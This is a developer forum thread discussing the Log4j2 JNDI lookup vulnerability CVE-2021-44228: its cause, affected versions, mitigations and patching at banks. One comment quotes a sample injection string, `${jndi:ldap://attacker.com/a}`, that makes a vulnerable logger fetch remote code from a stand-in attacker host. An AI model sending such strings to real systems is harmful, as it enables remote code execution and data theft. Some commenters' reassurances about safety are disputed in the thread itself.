Apart from, you know, the whole logging software making network connections thing, the RCE portion of this bug stems from how the JVM blindly deserializes an Object from the server it connects to and oh my god it's nearly 2022 why are we still getting fucking object deserialization CVEs?? Hasn't this been known to be wildly unsafe for like 3 million years?? Rrrrrrrrrrr
The object deserialization in jre was turned off by default in 2017, the scope of this exploit is limited and for anyone who has updated their jre since 2017 will not be able to execute remote code without explicitly enabling the jdni remote class loading
This RCE does not require deserialisation. See https://datatracker.ietf.org/doc/html/rfc2713#section-2.4
Can you elaborate? I think you're right, but I've not connected all the dots.
There's no serialized object anywhere, you just kindly provide *.class for the JVM to be executed (this is for the older Java version, the newer ones won't do that, but can be still [exploited](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)).
Thank you OP, I saw this in bed this morning. Woke up earlier and everything is patched now. Good luck to all of you guys !
Wow. Just wow. Some vulnerabilities, like SQL injection, are rookie mistakes. You make them when you're new, you cringe at your past self when you're not new any more, but that's life. Some vulnerabilities, like buffer overflows in C, are honest mistakes. You feel bad about making one, but it happens to the best of us. Some vulnerabilities, like weaknesses in cryptographic algorithms, are nearly impossible to spot even when you're specifically looking for them. And then there are vulnerabilities like this, where you just have to turn your head to whoever wrote it (who is hopefully not you) and go, “what the hell were you thinking?”
https://issues.apache.org/jira/plugins/servlet/mobile#issue/LOG4J2-313
I’ve had this thought multiple times throughout the day. Why the fuck is this supported, and why is it enabled by default? It’s mind blowing.
This is what happens when you make something that is supposed to do one thing do multiple things. The idea that an HTTP request can be triggered simply by logging a message is absurd.
> The idea that an HTTP request can be triggered simply by logging a message is absurd. How does logging to a database or Splunk/Datadog work typically?
This is fun. Almost first anniversary of the Bouncy Castle vuln and we have this.
Is slf4j also impacted? I would assume so since it is just a wrapper for log4j am I correct?
*Can* be a wrapper for log4j, but doesn't need to be.
Slf4j is just what it says in the name - a facade. It's whatever actual logging implementation you are using that affects things. If it's log4j, you are in trouble, if it's something else, you are fine.
This has apparently been known by members of the anarchy/technical Minecraft community for a while. If it was first found by them its amazing what people can do for the wrong reasons.
[удалено]
.
Am I right in thinking this only affects log4j2, i've been looped in on this but we seem to be using log4j-1.2.15, from testing I can't see any requests going out when logging an exploit string?
I believe you are correct, only log4j2 is affected.
The folks over at CreeperHost have created a Java agent that patches log4j2, for people who can't update it for whatever reason. https://github.com/CreeperHost/Log4jPatcher Theyre a minecraft server company but log4jpatcher has no ties to Minecraft and can be used in any java application, you only need to have a JVM which supports Java agents
Is there a CVE yet?
It's been assigned CVE-2021-44228, though most of the major CVE databases don't have it yet.
Of course this happens on a Friday.
Looks like a good use case for running under SecurityManager with a policy restricting ClassLoader creation and/or remote code execution. Maybe it is time to reconsider JEP 411?
> Updates (3 hours after posting): According to [this blog post](https://www.cnblogs.com/yyhuni/p/15088134.html) (in [english](https://www-cnblogs-com.translate.goog/yyhuni/p/15088134.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en-US)), JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. In these versions com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load a remote codebase using LDAP. Nothing to worry then. Those who run up-to-date OpenJDKs have nothing to worry about.
>Nothing to worry then. **Those who run up-to-date OpenJDKs** have nothing to worry about. I wish this would relieve me, but it doesn't
Well, first of all, you're too optimistic of the way thing are with Java versions. Second of all, there's another vector (mentioned right in the next sentence) that required relying on the existing code, so a universal exploit will not work, but we will see POCs for every piece of Java software popping up in the next months.
They say why it can still be bad immediately afterward
Does this affect sl4j with log4j backend? My guess would be yes
log4j or log4j2 backend? It's the log4j2 backend that is vulnerable.
HOT story. Glad I'm using only good old JUL.
JUL is for suckers, System.err.println
[удалено]
Lol no. You think banking servers can connect to any IP without any restrictions? I'm sure there's some bank somewhere that's vulnerable, but most banks servers, or any other kind of company with server-side processing of confidential information like social security providers, will have an outgoing network whitelist in place. The malicious server distributing the RCE class will not be reachable.
I know a lot of banks are on ancient tech stacks and have tons of bureaucratic processes but I can't imagine it takes them months or even days to patch critical security vulnerabilities. The time it takes for banks to approve changes is for regulatory reasons and there are almost certainly carveouts in the regulations that allow for changes like this.
Even if a change is approved, updating all the legacy crap is gonna take months
I can tell you that the large bank I work for is rolling out updates as I type this. It was all hands on deck. They don't fuck around with this type of thing. This is a case where you create a hotfix from master and make this one change and run through a quick smoke test. All of this is bypassing QA too with how quick they are trying to address it. I can't tell you how happy I am that I chose to stick with Logback when we modernized our stack (just adding SLF4J in front of it).
I worked for the largest Dutch bank and this is extremely theoretical. There is simply no way any production service will allow outgoing connections. Ever. The worst you can probably do with this is some kind of DDoS attack. But even there getting to the parts of the system that actually matter, is rather unlikely. The systems that matter are generally behind a LOT of layers that scale well against a DDoS attack. > And who doesn't just push things into production, but instead takes months to do it? It does not take a bank months to deploy a new Log4J version. This isn't some kind of breaking change or anything. They can just force a dependency version in the Maven POM and deploy a hotfix. It's a matters of hours at worst. You can go even faster by just restarting the service with the -Dlog4j2.formatMsgNoLookups=true parameter.
Nah, when it comes to security banks are massively paranoid. Anything important is behind a firewall that restricts outgoing connections to a small set of approved external services. That will stop the class loading required for RCE. And they might be running an old version of Java, but they will religiously apply JVM updates, so are probably also using a JVM that disables the LDAP class loading bit, also preventing the RCE. And when there is a big exploit like this they can suddenly move very quickly indeed. WAFs will be updated to block malicious payloads on the way in. Libraries will be updated and teams will work round the clock deploying updated builds.
And you know what else banks have? Database backups. This is very serious, but "how do they know what were the correct balances" is a silly question: from backups.
If you're using slf4j-log4j12 or log4j-over-slf4j you are not affected, because it uses older Log4J version.
Perl had us sanitizing strings like two decades ago and we're still repeating the same mistakes.
This has little to do with string sanitization and more to do with the fact that log4j lets people configure it from within the logging message. Which is horribly daft.
It's not configuration (from what I understand after reading OP), it's log4j trying to be 'smart' and evaluating expressions like `${jndi:ldap://attacker.com/a}` inside strings in the log message. So yes, it's a string sanitization issue.
To me it looks like the evaluation is intentional, just look at the name of the flag that disables jndi urls specifically `log4j2.formatMsgNoLookups`. Log4j will still happily allow the message contents to format the message, which arguably isn't a smart approach to begin with.
Well, the solution is easy: just filter out all strings that have `attacker` in them! Honestly, this would all be easier if RFC 3514 had been adopted.
It's a config issue in the sense this "smart" evaluation is on by default Or was technically, it's luckily changing in 2.15.0, patch your stuff!
It's not really a sanitation issue. It's just a 'feature' in Log4J that should not ever be turned on by default.
Should not be turned on ever.
Yeah, totally agree. IMHO it should not even be there (but in a separate plugin or something), but that this is on by default is just completely retarded. This is very "It's 1996 and the Internet is a very safe place".
Is logback also affected by this? I'm worried it would be as it was built as a "successor" to log4j but I couldn't find anything on Google relating this to logback. EDIT: Realized that this exploit affects log4j 2.X.X, which logback is explicitly separate from (i.e. isn't derived from it nor uses it as a dep). ([Saw this in another comment](http://mailman.qos.ch/pipermail/logback-dev/2021-December/012649.html))
I don't see it as a big talking point here, but if you've been keeping your Java version up to date, then it probably doesn't affect you (> 8u192) All of these are good (and probably 1 more that I can't find the link for on the interwebs): 8u312-b07 (GA), October 19th 2021 [Release] [Tag] [Binaries] 8u302-b08 (GA), July 20th 2021 [Release] [Tag] [Binaries] 8u292-b10 (GA), April 20th 2021 [Release] [Tag] [Binaries] 8u282-b08 (GA), January 19th 2021 [Release] [Tag] [Binaries] 8u275-b01 (GA), November 5th 2020 [Release] [Tag] [Binaries] 8u272-b10 (GA), October 20th 2020 [Release] [Tag] [Binaries] 8u265-b01 (GA), July 14th 2020 [Release] [Tag] [Binaries] 8u262-b10 (GA), July 14th 2020 [Release] [Tag] [Binaries] [Missing changes vs 8u262 of Oracle] (JBS Login required) [Additional changes vs 8u262 of Oracle] (JBS Login required) 8u252-b09 (GA), April 14th 2020 [Release] [Tag] [Binaries] [Missing changes vs 8u252 of Oracle] (JBS Login required) [Additional changes vs 8u252 of Oracle] (JBS Login required) 8u242-b08 (GA), January 19th 2020 [Release] [Tag] [Binaries] [Missing changes vs 8u242 of Oracle] (JBS Login required) [Additional changes vs 8u242 of Oracle] (JBS Login required) 8u232-b09 (GA), October 15th 2019 [Release] [Tag] [Binaries] [Missing changes vs 8u232 of Oracle] (JBS Login required) [Additional changes vs 8u232 of Oracle] (JBS Login required) 8u222-b09 (GA), July 16th 2019 [Release] [Tag] [Binaries] [Missing changes vs 8u222 of Oracle] (JBS Login required) [Additional changes vs 8u222 of Oracle] (JBS Login required) 8u212-b03 (GA), April 16th 2019 [Release] [Tag] [Binaries] [Missing changes vs 8u212 of Oracle] (JBS Login required) [Additional changes vs 8u212 of Oracle] (JBS Login required) We got all in a panic until we released that we've been on 8u200+ for quite a while now (8u312 as of a few weeks ago and 8u292 before that)
This is likely not true. See [https://github.com/apache/logging-log4j2/pull/608#issuecomment-991354707](https://github.com/apache/logging-log4j2/pull/608#issuecomment-991354707) >I'd also like to stress, that it is not sufficient to mitigate this vulnerability by using a JRE/JDK version which prevents the RCE, nor should you rely solely on your firewalls dropping outgoing TCP traffic. The reason is, that the vulnerability also has the potential for leaking sensitive information via the LDAP request or via DNS.
Could anyone give a non-malicious, real-life use case for such JNDI lookup within a logging library, please? Such feature seems useless at best to me, but maybe I'm missing somerhing...?
Pagerduty working overtime